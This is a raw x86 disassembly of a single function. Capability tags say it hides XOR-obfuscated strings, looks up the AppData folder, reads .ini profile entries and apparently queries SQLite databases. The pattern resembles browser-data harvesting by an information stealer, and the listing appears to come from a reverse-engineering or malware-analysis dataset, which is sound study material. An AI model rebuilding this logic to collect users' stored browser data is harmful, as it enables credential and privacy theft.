Function at 0x43b480
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x509247
mov eax, dword fs:[0]
push eax
mov eax, 0x1488
mov dword fs:[0], esp
call fcn.004e0270
push ebx
mov ebx, ecx
push esi
mov dword [ebp - 0x198], ebx
push edi
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 2
lea ecx, [ebx + 8]
push 0
mov byte [ebx], 0
call fcn.0046c030
mov byte [ebp - 4], 1
sub esp, 8
mov dword [ebp - 0x10], 1
mov eax, esp
lea ecx, [ebp - 0x98]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004687e0
add esp, 8
mov byte [ebp - 4], 3
xor ecx, ecx
mov dword [ebp - 0x30], 0x83859c9c
mov dword [ebp - 0x2c], 0x838b97
mov byte [ebp - 0x28], 1
jmp 0x43b510
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x43b510
lea eax, [ebp - 0x30]
mov byte [ebp - 0x28], 0
push eax
mov ecx, ebx
call fcn.0046e710
mov byte [ebp - 4], 1
mov edi, eax
mov cl, byte [ebp - 0x98]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x90]
mov byte [ebp - 0x98], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x98]
mov dword [edi + 8], eax
mov dword [ebp - 0x90], edx
mov dword [ebp - 0x8c], esi
call fcn.00468450
push 0x104
lea eax, [ebp - 0x490]
push 0
push eax
call fcn.004e14f0
add esp, 0xc
lea eax, [ebp - 0x490]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x490]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43b5a5
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x43c7d1
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
jb 0x43b5cc
mov eax, dword [ebp + 8]
push edx
push eax
push ecx
lea eax, [ebp - 0x490]
push eax
push ecx
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x220]
call fcn.004720e0
mov dword [ebp - 0x10], 0x101
mov byte [ebp - 4], 4
xor ecx, ecx
mov dword [ebp - 0x58], 0x988485a8
mov dword [ebp - 0x54], 0x9e96909e
mov dword [ebp - 0x50], 0x9197d38f
mov word [ebp - 0x4c], 0x69
mov byte [ebp - 0x4a], 1
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x58], al
inc ecx
cmp ecx, 0xd
jb 0x43b611
lea ecx, [ebp - 0x58]
mov byte [ebp - 0x4a], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43b628
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x210]
sub eax, edx
cmp eax, ecx
jb 0x43c7d6
cmp dword [ebp - 0x20c], 0x10
lea eax, [ebp - 0x220]
jb 0x43b65b
mov eax, dword [ebp - 0x220]
push ecx
lea ecx, [ebp - 0x58]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x208]
call fcn.004720e0
mov ebx, 0x141
mov dword [ebp - 0x10], ebx
push 0x1000
lea eax, [ebp - 0x1490]
mov byte [ebp - 4], 5
push 0
push eax
call fcn.004e14f0
add esp, 0xc
lea eax, [ebp - 0x208]
cmp dword [ebp - 0x1f4], 0x10
jb 0x43b6a8
mov eax, dword [ebp - 0x208]
push eax
push 0x1000
lea eax, [ebp - 0x1490]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
lea esi, [ebp - 0x1490]
mov dword [ebp - 0x16c], esi
jmp 0x43b6d0
mov dword [ebp - 0x6e], 0x919987a4
xor ecx, ecx
mov dword [ebp - 0x6a], 0x9f9591
mov byte [ebp - 0x66], 1
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x6e], al
inc ecx
cmp ecx, 7
jb 0x43b6e4
push 7
lea eax, [ebp - 0x6e]
mov byte [ebp - 0x66], 0
push eax
push esi
call fcn.004ecaee
add esp, 0xc
test eax, eax
jne 0x43c6e6
push 0x104
push eax
lea eax, [ebp - 0x388]
push eax
call fcn.004e14f0
add esp, 0xc
lea edx, [ebp - 0x208]
cmp dword [ebp - 0x1f4], 0x10
jb 0x43b736
mov edx, dword [ebp - 0x208]
mov dword [ebp - 0x3c], 0x9f8294a4
xor ecx, ecx
mov word [ebp - 0x38], 0x100
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x3c], al
inc ecx
cmp ecx, 4
jb 0x43b745
push edx
push 0x104
lea eax, [ebp - 0x388]
mov byte [ebp - 0x37], 0
push eax
push 0
lea eax, [ebp - 0x3c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x3f]
mov word [ebp - 0x3f], 0x5c
mov byte [ebp - 0x3d], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43b780
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x210]
sub eax, edx
cmp eax, ecx
jb 0x43c7d1
cmp dword [ebp - 0x20c], 0x10
lea eax, [ebp - 0x220]
jb 0x43b7b3
mov eax, dword [ebp - 0x220]
push ecx
lea ecx, [ebp - 0x3f]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x1b0]
call fcn.004720e0
or ebx, 4
mov dword [ebp - 0x10], ebx
lea eax, [ebp - 0x388]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x1b0]
call fcn.0046a480
or ebx, 8
mov dword [ebp - 0x10], ebx
mov ecx, dword [eax]
mov dword [ebp - 0x174], ecx
mov dword [ebp - 0x258], ecx
mov ecx, dword [eax + 4]
mov dword [ebp - 0x254], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x250], ecx
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x24c], ecx
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x88], ecx
mov dword [ebp - 0x248], ecx
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0x170], ecx
mov dword [ebp - 0x244], ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x19c]
cmp ecx, 0x10
jb 0x43b881
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43b877
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c7db
push ecx
push edx
call fcn.004df511
add esp, 8
xor eax, eax
mov dword [ebp - 0x1a0], 0
lea ecx, [ebp - 0x388]
mov dword [ebp - 0x19c], 0xf
mov byte [ebp - 0x1b0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], eax
jmp 0x43b8d0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43b8d0
sub ecx, edx
lea eax, [ebp - 0x388]
push ecx
push eax
lea ecx, [ebp - 0xb0]
call fcn.00402ae0
mov byte [ebp - 4], 9
lea edi, [ebp - 0xb0]
cmp dword [ebp - 0x9c], 0x10
mov ebx, dword [ebp - 0xb0]
jb 0x43b907
mov edi, ebx
mov esi, dword [ebp - 0xa0]
test esi, esi
je 0x43ba09
push esi
push 0x2f
push edi
call fcn.004e2ce0
add esp, 0xc
test eax, eax
je 0x43ba09
sub eax, edi
cmp eax, 0xffffffff
je 0x43ba09
sub esp, 0x18
mov word [ebp - 0x33], 0x2f
mov edx, esp
mov byte [ebp - 0x31], 0
xor eax, eax
mov dword [ebp - 0x1c4], esp
lea ecx, [ebp - 0x33]
lea esi, [ecx + 1]
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
mov dword [edx + 0xc], eax
mov dword [edx + 0x10], eax
mov dword [edx + 0x14], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43b962
sub ecx, esi
lea eax, [ebp - 0x33]
push ecx
push eax
mov ecx, edx
call fcn.00402ae0
sub esp, 0x18
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0xb0]
mov ecx, esp
push eax
call fcn.0046a770
lea ecx, [ebp - 0x264]
mov byte [ebp - 4], 9
call fcn.0040ab40
add esp, 0x30
mov byte [ebp - 4], 0xb
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x260]
mov esi, dword [ebp - 0x264]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x43b9ee
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
lea ecx, [ebp - 0xb0]
cmp ecx, eax
je 0x43b9ee
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x43b9e1
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xb0]
call fcn.0046a350
lea ecx, [ebp - 0x264]
mov byte [ebp - 4], 9
call fcn.0046c860
mov esi, dword [ebp - 0xa0]
mov ebx, dword [ebp - 0xb0]
cmp dword [ebp - 0x9c], 0x10
lea edi, [ebp - 0xb0]
jb 0x43ba1a
mov edi, ebx
test esi, esi
je 0x43baff
push esi
push 0x5c
push edi
call fcn.004e2ce0
add esp, 0xc
test eax, eax
je 0x43baff
sub eax, edi
cmp eax, 0xffffffff
je 0x43baff
sub esp, 0x18
mov word [ebp - 0x36], 0x5c
mov edx, esp
mov byte [ebp - 0x34], 0
xor eax, eax
mov dword [ebp - 0x178], esp
lea ecx, [ebp - 0x36]
lea esi, [ecx + 1]
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
mov dword [edx + 0xc], eax
mov dword [edx + 0x10], eax
mov dword [edx + 0x14], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43ba70
sub ecx, esi
lea eax, [ebp - 0x36]
push ecx
push eax
mov ecx, edx
call fcn.00402ae0
sub esp, 0x18
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0xb0]
mov ecx, esp
push eax
call fcn.0046a770
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 9
call fcn.0040ab40
add esp, 0x30
mov byte [ebp - 4], 0xd
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x54]
mov esi, dword [ebp - 0x58]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x43baf3
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
lea ecx, [ebp - 0xb0]
cmp ecx, eax
je 0x43baf3
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x43bae6
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xb0]
call fcn.0046a350
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 9
call fcn.0046c860
mov dword [ebp - 0x81], 0x969a85a8
xor ecx, ecx
mov dword [ebp - 0x7d], 0xd5899c9b
mov dword [ebp - 0x79], 0x96928c8f
mov dword [ebp - 0x75], 0x1006474
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x81], al
inc ecx
cmp ecx, 0xe
jb 0x43bb20
lea ecx, [ebp - 0x81]
mov byte [ebp - 0x72], 0
lea edx, [ecx + 1]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43bb40
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x88]
sub eax, edx
cmp eax, ecx
jb 0x43c7d1
cmp dword [ebp - 0x170], 0x10
lea eax, [ebp - 0x258]
jb 0x43bb73
mov eax, dword [ebp - 0x174]
push ecx
lea ecx, [ebp - 0x81]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x178]
lea ecx, [ebp - 0x1f0]
call fcn.004720e0
mov ebx, dword [ebp - 0x10]
or ebx, 0x10
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], 0x1009786
xor ecx, ecx
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x14], al
inc ecx
cmp ecx, 2
jb 0x43bba1
cmp dword [ebp - 0x1dc], 0x10
lea eax, [ebp - 0x1f0]
mov byte [ebp - 0x11], 0
jb 0x43bbc7
mov eax, dword [ebp - 0x1f0]
lea ecx, [ebp - 0x14]
push ecx
push eax
call fcn.004e5362
add esp, 8
test eax, eax
je 0x43c5f0
push eax
call fcn.004e8be8
add esp, 4
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x238]
push 0
mov byte [ebp - 0x240], 0
call fcn.0046c030
sub esp, 8
mov byte [ebp - 4], 0x10
mov eax, esp
lea ecx, [ebp - 0x1d8]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004687e0
add esp, 8
lea eax, [ebp - 0xb0]
mov byte [ebp - 4], 0x11
push eax
lea ecx, [ebp - 0x240]
call fcn.00468100
mov byte [ebp - 4], 0x10
mov edi, eax
mov cl, byte [ebp - 0x1d8]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x1cc]
mov eax, dword [ebp - 0x1d0]
mov byte [ebp - 0x1d8], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x1d8]
mov dword [edi + 8], eax
mov dword [ebp - 0x1d0], edx
mov dword [ebp - 0x1cc], esi
call fcn.00468450
cmp dword [ebp - 0x1dc], 0x10
lea ecx, [ebp - 0x1f0]
jb 0x43bc91
mov ecx, dword [ebp - 0x1f0]
lea edx, [ebp - 0x168]
call fcn.00413aa0
test eax, eax
jne 0x43c5a3
mov dword [ebp - 0x161], 0xb2bab0a7
xor ecx, ecx
mov dword [ebp - 0x15d], 0x8bdaadbb
mov dword [ebp - 0x159], 0x9a9d9c90
mov dword [ebp - 0x155], 0x2f66685f
mov dword [ebp - 0x151], 0x746f7324
mov dword [ebp - 0x14d], 0x6f557d61
mov dword [ebp - 0x149], 0x2f6b796d
mov dword [ebp - 0x145], 0x5e5d4356
mov dword [ebp - 0x141], 0x5b53463c
mov dword [ebp - 0x13d], 0x3b4e5a5d
mov dword [ebp - 0x139], 0x7c7f716c
mov dword [ebp - 0x135], 0x474b7e45
mov dword [ebp - 0x131], 0x4e500508
mov dword [ebp - 0x12d], 0x745e405b
mov dword [ebp - 0x129], 0x4a5a4c48
mov dword [ebp - 0x125], 0x575b111c
mov dword [ebp - 0x121], 0x78647314
mov dword [ebp - 0x11d], 0x54571975
mov dword [ebp - 0x119], 0x56566246
mov dword [ebp - 0x115], 0x312d3533
mov dword [ebp - 0x111], 0x342f333d
mov dword [ebp - 0x10d], 0x6b393d21
mov dword [ebp - 0x109], 0xa0a1f03
mov dword [ebp - 0x105], 0xa107102
mov dword [ebp - 0x101], 0x77323c74
mov dword [ebp - 0xfd], 0x18091c1c
mov dword [ebp - 0xf9], 0x1217117c
mov dword [ebp - 0xf5], 0x51423529
mov dword [ebp - 0xf1], 0x4e565551
mov dword [ebp - 0xed], 0x2f382648
mov dword [ebp - 0xe9], 0x2d4e3f29
mov dword [ebp - 0xe5], 0x171b5129
mov dword [ebp - 0xe1], 0x34253454
mov word [ebp - 0xdd], 0x100
lea esp, [esp]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x161], al
inc ecx
cmp ecx, 0x84
jb 0x43be00
mov ecx, dword [ebp - 0x168]
lea eax, [ebp - 0x194]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
lea edx, [ebp - 0x161]
mov byte [ebp - 0xdc], 0
call fcn.004c5530
add esp, 0x14
test eax, eax
jne 0x43c595
mov esi, dword [ebp - 0x194]
mov ecx, esi
call fcn.004a2b90
cmp eax, 0x64
jne 0x43c51a
jmp 0x43be60
test esi, esi
je 0x43beaf
cmp dword [esi + 0x2c], 0
je 0x43be8a
xor eax, eax
cmp ax, word [esi + 0x30]
jae 0x43be8a
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43be85
push eax
call dword [0x534f60]
add esp, 4
mov ecx, dword [esi + 0x2c]
jmp 0x43beb4
mov eax, dword [esi]
test eax, eax
je 0x43beaf
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43bea1
push eax
call dword [0x534f60]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.00492380
add esp, 0xc
mov ecx, 0x520308
mov dl, 1
call fcn.0049fe00
mov ebx, eax
test esi, esi
je 0x43bf6d
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x43befb
cmp byte [edi + 0x1e], 0
jne 0x43bede
mov eax, edi
cmp ecx, 0xc0a
jne 0x43bef6
push 0
push 7
push edi
call fcn.00492380
mov byte [edi + 0x1e], 0
add esp, 0xc
mov eax, dword [esi]
mov ecx, 7
mov edx, dword [edi + 0x18]
jmp 0x43bf02
mov edx, 0xff
mov eax, edi
and ecx, edx
mov dword [esi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43bf18
push eax
call dword [0x534f68]
add esp, 4
test esi, esi
je 0x43bf6d
cmp dword [esi + 0x2c], 0
je 0x43bf48
mov eax, 1
cmp ax, word [esi + 0x30]
jae 0x43bf48
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43bf40
push eax
call dword [0x534f60]
add esp, 4
mov ecx, dword [esi + 0x2c]
add ecx, 0x28
jmp 0x43bf72
mov eax, dword [esi]
test eax, eax
je 0x43bf6d
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43bf5f
push eax
call dword [0x534f60]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.00492380
add esp, 0xc
mov ecx, 0x520308
mov dl, 1
call fcn.0049fe00
mov dword [ebp - 0x170], eax
test esi, esi
je 0x43bfd6
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x43bfb9
cmp byte [edi + 0x1e], 0
jne 0x43bf9c
mov eax, edi
cmp ecx, 0xc0a
jne 0x43bfb4
push 0
push 7
push edi
call fcn.00492380
mov byte [edi + 0x1e], 0
add esp, 0xc
mov eax, dword [esi]
mov ecx, 7
mov edx, dword [edi + 0x18]
jmp 0x43bfc0
mov edx, 0xff
mov eax, edi
and ecx, edx
mov dword [esi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43bfd6
push eax
call dword [0x534f68]
add esp, 4
xor eax, eax
mov word [ebp - 0x71], 0x29
mov ecx, ebx
mov byte [ebp - 0x6f], 0
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], eax
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], eax
jmp 0x43c010
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43c010
sub ecx, edx
push ecx
push ebx
lea ecx, [ebp - 0x1b0]
call fcn.00402ae0
mov byte [ebp - 4], 0x12
xor ecx, ecx
mov dword [ebp - 0xdb], 0xb2bab0a7
mov dword [ebp - 0xd7], 0x8edaadbb
mov dword [ebp - 0xd3], 0xb9de918e
mov dword [ebp - 0xcf], 0x234f4e52
mov dword [ebp - 0xcb], 0x587c6a69
mov dword [ebp - 0xc7], 0x686b6578
mov dword [ebp - 0xc3], 0x582e7e69
mov dword [ebp - 0xbf], 0x56405458
mov dword [ebp - 0xbb], 0x7e763d34
mov dword [ebp - 0xb7], 0x263a797c
mov word [ebp - 0xb3], 0x3c
mov byte [ebp - 0xb1], 1
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0xdb], al
inc ecx
cmp ecx, 0x29
jb 0x43c0a0
lea eax, [ebp - 0x1b0]
mov byte [ebp - 0xb1], 0
push eax
lea edx, [ebp - 0xdb]
lea ecx, [ebp - 0x27c]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0x71]
mov byte [ebp - 4], 0x13
push ecx
mov ecx, eax
call fcn.0046a480
or dword [ebp - 0x10], 2
mov edx, eax
xor eax, eax
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], eax
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], eax
mov ecx, dword [edx]
mov dword [ebp - 0x190], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0x18c], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x188], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x184], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x180], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x17c], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0x14
lea edx, [ebp - 0x190]
cmp dword [ebp - 0x17c], 0x10
jb 0x43c16c
mov edx, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x168]
lea eax, [ebp - 0x5c]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
call fcn.004c5530
add esp, 0x14
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x17c]
test eax, eax
sete bl
cmp ecx, 0x10
jb 0x43c1c9
mov edx, dword [ebp - 0x190]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43c1bf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c7db
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x268]
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x17c], 0xf
mov byte [ebp - 0x190], 0
cmp ecx, 0x10
jb 0x43c222
mov edx, dword [ebp - 0x27c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43c218
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c7db
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x19c]
mov dword [ebp - 0x26c], 0
mov dword [ebp - 0x268], 0xf
mov byte [ebp - 0x27c], 0
cmp ecx, 0x10
jb 0x43c27b
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43c271
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c7db
push ecx
push edx
call fcn.004df511
add esp, 8
test bl, bl
je 0x43c50a
mov ebx, dword [ebp - 0x5c]
mov ecx, ebx
call fcn.004a2b90
cmp eax, 0x64
jne 0x43c50a
test ebx, ebx
je 0x43c2e5
cmp dword [ebx + 0x2c], 0
je 0x43c2c0
xor eax, eax
cmp ax, word [ebx + 0x30]
jae 0x43c2c0
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43c2bb
push eax
call dword [0x534f60]
add esp, 4
mov ecx, dword [ebx + 0x2c]
jmp 0x43c2ea
mov eax, dword [ebx]
test eax, eax
je 0x43c2e5
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43c2d7
push eax
call dword [0x534f60]
add esp, 4
push 0
push 0x19
push dword [ebx]
call fcn.00492380
add esp, 0xc
mov ecx, 0x520308
mov dl, 1
call fcn.0049fe00
mov edi, eax
test ebx, ebx
je 0x43c34a
mov esi, dword [ebx]
mov ecx, dword [ebx + 0x64]
test esi, esi
je 0x43c32d
cmp byte [esi + 0x1e], 0
jne 0x43c310
mov edx, esi
cmp ecx, 0xc0a
jne 0x43c328
push 0
push 7
push esi
call fcn.00492380
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [ebx]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x43c334
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [ebx + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x43c34a
push eax
call dword [0x534f68]
add esp, 4
mov dword [ebp - 0x174], edi
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x228]
push 0
mov byte [ebp - 0x230], 0
call fcn.0046c030
mov byte [ebp - 4], 0x16
lea edx, [ebp - 0x174]
xor eax, eax
mov byte [ebp - 0x1c0], 0
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], eax
call fcn.0047e810
mov byte [ebp - 4], 0x17
xor eax, eax
mov dword [ebp - 0x19], 0x9a8781
mov byte [ebp - 0x15], 1
lea ecx, [eax - 0xc]
xor byte [ebp + eax - 0x19], cl
inc eax
cmp eax, 3
jb 0x43c3a3
lea eax, [ebp - 0x19]
mov byte [ebp - 0x15], 0
push eax
lea ecx, [ebp - 0x230]
call fcn.0046e710
mov cl, byte [ebp - 0x1c0]
mov edi, eax
mov eax, dword [ebp - 0x1b8]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x1b4]
mov esi, dword [edi + 0xc]
mov byte [ebp - 0x1c0], dl
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x1c0]
mov dword [edi + 8], eax
mov dword [ebp - 0x1b8], edx
mov dword [ebp - 0x1b4], esi
call fcn.00468450
push dword [ebp - 0x170]
call fcn.004ece36
add esp, 4
push 0
push 0xf4240
push edx
push eax
call fcn.00504a10
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x98]
mov dword [ebp - 0x2c], edx
push eax
mov byte [ebp - 0x98], 0
call fcn.0047b620
mov byte [ebp - 4], 0x18
xor ecx, ecx
mov dword [ebp - 0x45], 0x929b9c80
mov word [ebp - 0x41], 0x100
mov edi, edi
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x45], al
inc ecx
cmp ecx, 4
jb 0x43c460
lea eax, [ebp - 0x45]
mov byte [ebp - 0x40], 0
push eax
lea ecx, [ebp - 0x230]
call fcn.0046e710
mov byte [ebp - 4], 0x16
mov edi, eax
mov cl, byte [ebp - 0x98]
mov eax, dword [ebp - 0x90]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x8c]
mov esi, dword [edi + 0xc]
mov byte [ebp - 0x98], dl
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x98]
mov dword [edi + 8], eax
mov dword [ebp - 0x90], edx
mov dword [ebp - 0x8c], esi
call fcn.00468450
lea eax, [ebp - 0xb0]
push eax
lea ecx, [ebp - 0x240]
call fcn.00468100
lea ecx, [ebp - 0x230]
push ecx
mov ecx, eax
call fcn.00467e20
lea ecx, [ebp - 0x230]
mov byte [ebp - 4], 0x10
call fcn.00468450
mov ecx, ebx
call fcn.004a2b90
cmp eax, 0x64
je 0x43c296
mov esi, dword [ebp - 0x194]
mov ecx, esi
call fcn.004a2b90
cmp eax, 0x64
je 0x43be60
test esi, esi
je 0x43c595
mov edi, dword [esi]
mov ebx, dword [edi + 0x44]
test ebx, ebx
je 0x43c531
push ebx
call dword [0x534f60]
add esp, 4
mov eax, dword [esi + 0x50]
mov dword [ebp - 0x88], 0
cmp eax, 0xbdf20da3
je 0x43c54c
cmp eax, 0x519c2973
jne 0x43c559
mov ecx, esi
call fcn.004a1dd0
mov dword [ebp - 0x88], eax
mov ecx, esi
call fcn.004a1f80
test edi, edi
je 0x43c587
cmp byte [edi + 0x1e], 0
jne 0x43c576
cmp dword [ebp - 0x88], 0xc0a
jne 0x43c587
push 0
push 7
push edi
call fcn.00492380
add esp, 0xc
mov byte [edi + 0x1e], 0
test ebx, ebx
je 0x43c595
push ebx
call dword [0x534f68]
add esp, 4
mov ecx, dword [ebp - 0x168]
call fcn.00413f50
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x65], 0x83859c9c
xor ecx, ecx
mov dword [ebp - 0x61], 0x838b97
mov byte [ebp - 0x5d], 1
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x65], al
inc ecx
cmp ecx, 7
jb 0x43c5b7
mov ecx, dword [ebp - 0x198]
lea eax, [ebp - 0x65]
push eax
mov byte [ebp - 0x5d], 0
call fcn.0046e710
lea ecx, [ebp - 0x240]
push ecx
mov ecx, eax
call fcn.00467e20
lea ecx, [ebp - 0x240]
call fcn.00468450
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x1dc]
cmp ecx, 0x10
jb 0x43c62e
mov edx, dword [ebp - 0x1f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43c624
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c7db
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x1dc], 0xf
mov byte [ebp - 0x1f0], 0
cmp ecx, 0x10
jb 0x43c687
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43c67d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c7db
